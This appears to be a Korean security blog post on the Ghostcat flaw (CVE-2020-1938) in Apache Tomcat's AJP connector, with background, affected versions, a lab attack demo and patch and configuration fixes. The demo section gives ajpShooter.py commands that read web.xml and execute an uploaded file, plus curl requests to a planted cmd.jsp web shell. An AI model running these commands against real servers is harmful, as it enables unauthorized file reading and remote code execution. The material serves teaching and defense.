1. CVE-2020-1938 취약점 설명
1) CVE-2020-1938 개요
Ghostcat이라는 이름으로도 알려진 Apache Tomcat AJP(Apache JServ Protocol) 파일 포함 및 원격 코드 실행 취약점입니다. 이 취약점은 Tomcat의 AJP 커넥터 설정의 문제로 인해 발생하며, 공격자는 이를 악용해 민감한 정보를 읽거나 원격 코드 실행(Remote Code Execution, RCE)을 수행할 수 있습니다.
2) 사전 지식
ㄱ) Apache Tomcat이란?
Apache Tomcat은 Java Servlet, JSP(JavaServer Pages), 그리고 Java WebSocket과 같은 Java 기반 웹 애플리케이션을 실행하는 오픈소스 웹 서버 및 서블릿 컨테이너입니다. Tomcat은 주로 웹 애플리케이션 배포 및 실행에 사용되며, server.xml 파일을 통해 구성됩니다.
ㄴ) AJP(Apache JServ Protocol)란?
AJP(Apache JServ Protocol)는 Tomcat과 웹 서버(예 : Apache HTTP Server, Nginx 등) 간의 통신을 위한 이진 프로토콜입니다. HTTP 요청을 전달하는 데 사용되며, Tomcat이 백엔드에서 웹 서버로부터 전달받은 요청을 처리합니다.
AJP는 여러 Tomcat의 인스턴스 요청 분산을 위한 로드 밸런싱과 이진 프로토콜을 사용하여 HTTP보다 속도가 빠릅니다.
ㄷ) AJP의 기본 구성
Tomcat의 server.xml 파일에서 AJP 커넥터는 기본적으로 활성화되어 있으며, Port 8009에서 동작하며, Tomcat이 AJP를 통해 들어오는 요청을 받을 수 있도록 허용합니다.
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
ㄹ) AJP 취약점 발생 이유
AJP의 파일 읽기 및 처리 동작은 편리한 기능이지만, 인증 또는 IP 제한이 없는 경우 이를 악용에 사용할 수 있습니다.
3) 상세 분석
1) 영향 받는 Tomcat 버전
CVE | 취약한 버전 | 위험도 |
CVE-2020-1938 | Apache Tomcat 7.0.0 ~ 7.0.99 | high |
Apache Tomcat 8.5.0 ~ 8.5.50 | ||
Apache Tomcat 9.0.0 ~ 9.0.30 |
2) CVE-2020-1938 (Ghostcat)의 공격 메커니즘
먼저 AJP 프로토콜의 역할과 취약점의 작동 원리를 알아보겠습니다. AJP는 웹 서버와 Tomcat 간의 효율적인 통신을 위해 설계된 프로토콜입니다. 일반적으로 Apache HTTP Server와 같은 프런트엔드 웹 서버가 클라이언트 요청을 받아 Tomcat으로 전달하는 데 사용되며, 이러한 통신 과정에서 속도와 성능을 최적화할 목적으로 고안되었는데, AJP는 인증 없이 동작하며, 적절한 방어 장치 없이 모든 요청을 허용한다는 점에서 보안 결함이 발생합니다. 공격자는 인증 없이 동작하는 부분을 악용하여 민감한 파일을 읽거나 파일을 업로드, 다운로드 등 원격 코드를 실행하는 데 악용할 수 있습니다. 이 취약점을 악용하여 민감한 파일을 읽거나 원격 코드를 실행하는 데 성공할 수 있는데, 주요 수단은 AJP 포트를 통해 Tomcat 서버에 직접 접근 하는 것입니다. AJP의 기본 포트는 8009이며, 대부분의 설정에서 외부 네트워크에 노출되어 있어, 이를 악용하여 먼저 서버에 대한 정보를 수집합니다. 예를 들어, 공격자는 AJP 요청을 보내 /WEB-INF/web.xml이나 /META-INF/context.xml과 같은 Tomcat 설정 파일을 읽어 서버의 내부 구조와 중요한 자격 증명을 확인하여, 이를 공격 준비를 위한 초석으로, 데이터베이스 연결 정보나 관리자 자격 증명이 노출될 가능성이 있습니다.
3) 공격 시연
ㄱ) 테스트 환경 구성
구분 | 피해자 환경 |
운영 체제 | CentOS7_Victim |
소프트웨어 | Apache Tomcat |
취약 버전 | 8.5.50 |
IP주소 | 10.0.2.123 |
비고 | 가상 머신 사용, 피해자와 NAT환경 설정 |
구분 | 공격자 환경 |
운영 체제 | KaliLinux_Attacker |
IP주소 | 10.0.2.100 |
비고 | 가상 머신 사용, 피해자와 NAT환경 설정 |
ㄴ) POC 출처
https://github.com/00theway/Ghostcat-CNVD-2020-10487
ㄷ) 공격 실행
목표 : POC를 활용하여 대상자 파일 읽기 및 실행
① 피해자 환경에서 취약 버전 Apache Tomcat 실행
② 공격자 PC에서 POC 파일 다운로드
③ 공격자 환경에서 AJP Shooter를 활용하여 피해자 환경의 web.xml 읽기 수행
python ajpShooter.py http://10.0.2.123 8009 /WEB-INF/web.xml read
④ Tomcat 업로드 구간에 파일 업로드
> 전 curl을 이용하여 http로 공격자 PC에서 업로드 시켰습니다.
curl -F "file=@ghost.txt" http://10.0.2.123:8080/fileupload.jsp
> 파일 업로드가 없으신 분들은 아래 별도로 다운 받으셔서 사용하시면 됩니다.
# Apache Commons FileUpload 다운로드
wget https://repo1.maven.org/maven2/commons-fileupload/commons-fileupload/1.4/commons-fileupload-1.4.jar
# Apache Commons IO 다운로드
wget https://repo1.maven.org/maven2/commons-io/commons-io/2.11.0/commons-io-2.11.0.jar
# Tomcat lib 디렉토리로 이동
sudo mv commons-fileupload-1.4.jar commons-io-2.11.0.jar /opt/tomcat/lib/
⑤ 공격자 PC에서 eval 옵션을 이용하여 ghost.txt 파일 실행
python ajpShooter.py http://10.0.2.123 8009 /ghost.txt eval
⑥ eval 옵션으로 실행하여 다운로드된 cmd.jsp 파일 요청하여 확인
> 전 curl(http)을 이용하여 확인하였습니다.
curl "http://10.0.2.123:8080/cmd.jsp?cmd=whoami"
curl "http://10.0.2.123:8080/cmd.jsp?cmd=ls"
4) 대응 방안
1) Apache Tomcat 보안패치 적용
취약한 버전 | 보안 패치 버전 |
Apache Tomcat 7.0.0 ~ 7.0.99 | Apache Tomcat 7.x: 7.0.100 이상 |
Apache Tomcat 8.5.0 ~ 8.5.50 | Apache Tomcat 8.5.x: 8.5.51 이상 |
Apache Tomcat 9.0.0 ~ 9.0.30 | Apache Tomcat 9.x: 9.0.31 이상 |
Apache Tomcat 10.x: 모든 버전 (해당 취약점 없음) |
2) server.xml 파일 내에 AJP 커넥터 비활성화
리눅스/유닉스: /opt/tomcat/conf/server.xml
윈도우: C:\tomcat\conf\server.xml
주석 처리 전
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
주석 처리 후
<!--
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
-->
참고 자료
https://github.com/00theway/Ghostcat-CNVD-2020-10487
https://secuhh.tistory.com/24#article-4-2--ajp-%EC%82%AC%EC%9A%A9-%EC%8B%9C
https://m.blog.naver.com/daengkyun0603/222056158803
'정보보안 > CVE' 카테고리의 다른 글
CVE란? 모르면 위험한 보안 취약점 리스트 (3) | 2024.11.05 |
---|---|
[CVE-2022-42889] Text4Shell 취약점 (3) | 2024.07.23 |
[CVE-2024-6387] SSH Vulnerability Scanner 취약점 (0) | 2024.07.15 |
[CVE-2023-27524] Apache Superset 취약점 (2) | 2024.07.01 |
[CVE-2023-46604] Apache ActiveMQ 취약점 (0) | 2024.05.26 |